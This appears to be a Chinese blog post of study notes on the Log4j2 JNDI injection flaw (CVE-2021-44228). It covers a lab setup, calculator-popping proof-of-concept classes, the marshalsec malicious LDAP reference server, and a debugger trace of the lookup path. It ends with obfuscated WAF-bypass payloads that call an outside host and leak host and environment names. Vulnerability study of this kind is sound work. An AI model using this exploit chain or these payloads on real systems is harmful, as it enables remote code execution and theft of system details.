java进阶漏洞学习----log4j漏洞学习笔记

发布时间 2023-11-14 15:10:41作者: BattleofZhongDinghe

CVE-2021-44228 log4j2

漏洞版本范围

2.x < version <=2.14.1

环境搭建

linux的ij idea
java版本:JDK1.8u102
https://www.oracle.com/cis/java/technologies/javase/javase8-archive-downloads.html
LOG4J.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LOG4J {
    private static final Logger logger = LogManager.getLogger(LOG4J.class);
    public static void main(String[] args){
        String test = "${jndi:rmi://127.0.0.1:1099/evil}";
        logger.error("loginfo: {}",test);
    }
}

ATTACK.java

import java.io.IOException;

public class ATTACK {

    static {
        try {
            System.out.println("已经执行");
            Runtime.getRuntime().exec("gnome-calculator");
            System.out.println("已经执行完");
        } catch (IOException e) {
            System.out.println("没有执行");
            e.printStackTrace();
        }
    }
}

ATTACKRMI.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ATTACKRMI {

    public static void main(String[] args) {

        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("Create RMI registry on port 1099");
            Reference reference = new Reference("", "ATTACK", "");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

先执行ATTACKRMI,再执行LOG4J

代码审计

开始调试
打断点

F7进入

F7进入,发现this.isEnabled(level, marker, message, p0)执行时间很短,而 this.logMessage(fqcn, level, marker, message, p0);
执行时间比较长,所以F8跳过isEnabled,并打断点

F7进入logMessage,同理发现Message msg = this.messageFactory.newMessage(message, p0);执行时间很短,F8跳过,并打断点

F7进入this.logMessageSafely

F7进入logMessageTrackRecursion

发现incrementRecursionDepth();执行时间较短,F8跳过,打断点

F7进入tryLogMessage

F7进入log

F8跳过执行时间较短的函数,打断点

F7进入log

F7进入

现在这里有很多函数,需要找到关键的那个
这里采用的方法是先一直F8跳过,直到运行到某一个函数的时候弹出计算器,这里发现经过这个函数后就弹出计算器,打上断点


F7进入log

F8跳过执行时间较短的函数,打断点

F7进入

继续利用F8探测出运行完哪一个函数后弹出计算器,打上断点

F7进入

F8跳过,并打断点

F7进入

F8跳过并打断点

F7进入

F8跳过并打断点

F7进入

F8跳过并打断点

F7进入,打上断点

F7进入

F7进入

F8跳过,F7进入到directEncodeEvent

F7进入

跳过if条件语句,然后一直F8判断经过哪一个函数弹计算器,是StringBuilder text = this.toText((Serializer2)this.eventSerializer, event, getStringBuilder());

F7进入toText

F7继续进入,发现又有很多东西,F8探测出经过哪一个函数弹出计算器

发现当i=某一个值(这里为8)的时候弹出计算器

for(int i = 0; i < len; ++i) {
                this.formatters[i].format(event, buffer);
            }

所以在i=8的时候F7进入,打断点

进入this.converter.format(event, buf);

继续F8探测出经过哪一个函数弹出计算器

这时候发现在这处for+if时候一直反复,检测字符串里面是否含有'${'

所以直接在下面打上一个断点,然后F9

进入workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));中的replace


在最后的return那里打上断点

F7进入

F7进入

发现下面有很多东西,用F8探测

经过探测,在执行String varValue = this.resolveVariable(event, varName, buf, startPos, pos);完后弹计算器,打上断点

F7进入resolveVariable,F8跳过,打上断点

F7进入lookup

F8探测发现执行value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);后会弹计算器,打上断点

最终在此处形成jndi注入,加载远程恶意类

现在使用ldap形式的payload
下载并导入到idea中
https://github.com/pingidentity/ldapsdk/releases
LOG4J2.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LOG4J2 {
    private static final Logger logger = LogManager.getLogger(LOG4J2.class);
    public static void main(String[] args){
        String test = "${jndi:ldap://0.0.0.0:1389/ATTACK_LDAP}";
        logger.error("loginfo: {}",test);
    }
}

ATTACK_LDAP.java,避坑:不能和其他两个代码放在同一个目录下,放在别的目录下,javac ATTACK_LDAP.java

import java.io.IOException;
import javax.naming.spi.ObjectFactory;

public class ATTACK_LDAP implements ObjectFactory {

    public Object getObjectInstance(Object obj, javax.naming.Name name, javax.naming.Context nameCtx, java.util.Hashtable<?, ?> environment)
            throws Exception {
        try {
            System.out.println("已经开始执行");
            String[] cmd = {"gnome-calculator"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            System.out.println("已经结束执行");
        } catch (IOException e) {
            System.out.println("没有执行");
            e.printStackTrace();
        }
        return null;
    }
}

这个是marshalsec里面的代码LDAPRefServer.java

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 *
 */
public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main ( String[] args ) {
        int port = 1389;
        if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
            System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        }
        else if ( args.length > 1 ) {
            port = Integer.parseInt(args[ 1 ]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

然后在项目目录下开启一个web服务

LDAPRefServer.java配置参数

先执行LDAPRefServer再执行LOG4J2.java

LDAPRefServer.java简单代码审计(如何开启一个ldap服务的)

int port = 1389;
        if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
            System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        }
        else if ( args.length > 1 ) {
            port = Integer.parseInt(args[ 1 ]);
        }

从命令行参数中读取codebase_url和classname,检查命令行参数要是少于1个或者第一个命令行参数没包含#,就打印错误信息
如果命令行参数大于1的话,就把第二个值设置为端口号

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

创建了一个InMemoryDirectoryServerConfig对象,配置了监听器和拦截器。然后将配置应用到InMemoryDirectoryServer对象上,并启动监听。
使用了args[0]构造了一个URL对象,并传递给了OperationInterceptor
简单来说,就是把一个ldap请求重定向发给了web服务里的恶意类

bypass方式记录

${jndi:ldap://127.0.0.1:1389/ badClassName} 
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk

参考文章

https://blog.csdn.net/qq_42322144/article/details/121922084